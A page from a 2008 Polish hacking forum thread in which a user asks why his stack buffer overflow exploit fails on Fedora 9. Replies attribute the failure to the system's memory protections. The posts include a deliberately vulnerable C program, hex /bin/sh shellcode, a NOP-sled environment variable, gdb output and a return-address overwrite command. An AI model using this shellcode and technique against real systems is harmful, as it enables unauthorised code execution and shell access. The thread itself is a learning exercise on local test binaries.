Strona 1 z 2 12 OstatniOstatni
Pokaż wyniki 1 do 10 z 19

Temat: Buffer Overflow

  1. #1
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie Buffer Overflow

    A więc mam takie pytanko. Jest sobie taki oto program:
    #include <stdio.h>

    int main(int argc, char *argv[])
    {
    char buf[16];

    strcpy(buf, argv[1]);
    puts(buf);

    return 0;
    }

    Jak widać jest podatny na buffer overflow. Chcę wykorzystać. Piszę w konsoli:
    perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\ x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb 0\x0b\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\ xff\x2f\x62\x69\x6e\x2f\x73\x68";' > shellcode

    [[email protected] Listingi]$ cat shellcode
    1��F1�1�̀�[1��C��C

    �S
    ̀�����/bin/sh[[email protected] Listingi]$ export SHELLCODE=`perl -e 'print "\x90"x100;'``cat shellcode`


    OK. Następnie
    gdb bufo
    (gdb) r
    Starting program: /home/ormi/Pulpit/Hacking/Listingi/bufo
    (no debugging symbols found)
    (no debugging symbols found)
    (no debugging symbols found)

    Breakpoint 1, 0x08048402 in main ()
    Missing separate debuginfos, use: debuginfo-install glibc.i686
    (gdb) x/20s $esp

    Po długim czasie przewijania tego co gdb wyrzuca znajduję interesującą mnie linijkę:
    0xbfbcc5c0: "SHELLCODE=", '\220' <repeats 100 times>, "1��F1�1��\200�\026[1�\210C\a\211[\b\211C\f�\vK\b\215S\f�\200�����/bin/sh"

    A więc wychodzę z gdb. I chcę skoczyć pod tamten adres. Do końca nie wiem o ile bajtów mam ten adres przesunąć, ale jest most NOP, więc można sobie na niedokładność chyba pozwilić.
    [[email protected] Listingi]$ ./bufo `perl -e 'print "\xe0\xc5\xbc\xbf"x11;'`
    �ż��ż��ż��ż��ż��ż��ż��ż��ż��ż��ż�
    Naruszenie ochrony pamięci

    BUUU!! Czemu?

    EDIT: System - Fedora 9
    Ostatnio edytowane przez Ormi : 07-25-2008 - 13:50
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  2. #2
    rip
    rip jest offline Banned
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    ehh..... nie masz jakiegos debugera z gui? w konsoli to kazdy by sie pogubil.


    Napisz to samo w asemblerze, c jest zbyt zlozone na poczatek.

  3. #3
    Avatar elceef
    elceef jest offline Proces bezczynności
    Zarejestrowany
    Apr 2008
    Postów
    200

    Domyślnie

    Istnieje wygodniejszy sposób od tej przedstawionej przez Aleph1 w Phrack. Myślę, że moje przykładowe pliki wiele Ci wyjaśnią.

  4. #4
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Hmmm, jak się domyślam, ten exploit miał domyślnie działać. I nie wątpię, że normalnie działa, tylko napotyka ten sam problem, który napotykają wszystkie exploity do Buffer Overflow, moje, książkowe oraz ten twój. Po prostu NIE DZIAŁAJĄ...
    [[email protected] overflow]$ ./exploit
    [+] return address: 0xbfffffdc
    [+] executing ./vuln ...
    fn() return
    Naruszenie ochrony pamięci



    Może wynika to z tego:
    [[email protected] overflow]$ ./adresy
    b = 0xbfc3a07c (stos)
    c = 0x0816e008 (sterta)
    a = 0x0804970c (BSS)
    main = 0x080483f4 (kod)
    NULL = 0x00000000 (NULL)
    [[email protected] overflow]$ ./adresy
    b = 0xbfce992c (stos)
    c = 0x08a7f008 (sterta)
    a = 0x0804970c (BSS)
    main = 0x080483f4 (kod)
    NULL = 0x00000000 (NULL)

    Jak widać adres stosu się zmienia w chyba losowy sposób...


    Ale to już jakiś czas temu zauważyłem i postanowiłem na razie odpuścić sobie exploity. Jednak sposób, który zastosowałem w pierwszym poście nie jest zależny od położenia stosu... Nie wiem czemu to nie działa...
    Sprawdzałem też na płytce ze "Szkoła Hakerów". Zauważyłem, że nawet gotowe exploity na gotowe dziurawe programy nie działają. I za cholerę nie rozumiem dlaczego...
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  5. #5
    Avatar elceef
    elceef jest offline Proces bezczynności
    Zarejestrowany
    Apr 2008
    Postów
    200

    Domyślnie

    Wydaj polecenie uname -a oraz podaj jego wynik.

  6. #6
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    [[email protected] ~]$ uname -a
    Linux localhost.localdomain 2.6.25.10-86.fc9.i686 #1 SMP Mon Jul 7 20:46:03 EDT 2008 i686 i686 i386 GNU/Linux
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  7. #7
    Avatar elceef
    elceef jest offline Proces bezczynności
    Zarejestrowany
    Apr 2008
    Postów
    200

    Domyślnie

    Fedora Core w domyślnej instalacji ma wiele funkcji zwiększających bezpieczeństwo systemu. To jest przyczyna Twoich problemów z exploitami.
    Po próbie wykonia kodu exploita, wpisz polecenie tail /var/log/messages

  8. #8
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    [[email protected] overflow]# tail /var/log/messages
    Jul 26 02:17:55 localhost console-kit-daemon[1849]: WARNING: Couldn't read /proc/2642/environ: Error reading file '/proc/2642/environ': No such process
    Jul 26 03:07:36 localhost kernel: vuln[3624] general protection ip:8048419 sp:bfc2404c error:0 in vuln[8048000+1000]
    Jul 26 03:07:43 localhost kernel: vuln[3628] general protection ip:8048419 sp:bfefb54c error:0 in vuln[8048000+1000]
    Jul 26 03:15:00 localhost kernel: vuln[3760] general protection ip:8048419 sp:bf8d672c error:0 in vuln[8048000+1000]
    Jul 26 03:15:09 localhost kernel: vuln[3763] general protection ip:8048419 sp:bfbf4a4c error:0 in vuln[8048000+1000]
    Jul 26 03:15:55 localhost kernel: vuln[3782] general protection ip:8048419 sp:bfc8e2ec error:0 in vuln[8048000+1000]
    Jul 26 03:26:53 localhost kernel: vuln[3987] general protection ip:8048419 sp:bf9ee84c error:0 in vuln[8048000+1000]
    Jul 26 03:26:59 localhost kernel: vuln[3989] general protection ip:8048419 sp:bfa8d8ec error:0 in vuln[8048000+1000]
    Jul 26 03:27:25 localhost kernel: vuln[3997] general protection ip:8048419 sp:bf8f374c error:0 in vuln[8048000+1000]
    Jul 26 04:33:20 localhost kernel: vuln[6300] general protection ip:8048419 sp:bfb819dc error:0 in vuln[8048000+1000]
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  9. #9
    Avatar elceef
    elceef jest offline Proces bezczynności
    Zarejestrowany
    Apr 2008
    Postów
    200

    Domyślnie

    Więc już znasz przyczynę.

  10. #10
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Nom... Ale nie znam przyczyny dla której exploity z CD Szkoła Hakerów nie działają na programy, na które są napisane....

    EDIT: I chciałbym jeszcze, żeby mi ktoś może wytłumaczył pod jaki adres powinienem skoczyć w sytuacji opisanej w pierwszym poście
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

Strona 1 z 2 12 OstatniOstatni

Podobne wątki

  1. bufer overflow
    By matmat0123456789 in forum Hacking
    Odpowiedzi: 23
    Autor: 02-12-2010, 17:50
  2. Buffer overflow
    By lukasz6547 in forum Hacking
    Odpowiedzi: 7
    Autor: 06-28-2008, 20:46
  3. ping: sendmsg: No buffer space available
    By Sardihan in forum TCP/IP/Analiza/Badanie
    Odpowiedzi: 8
    Autor: 11-08-2007, 19:13

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj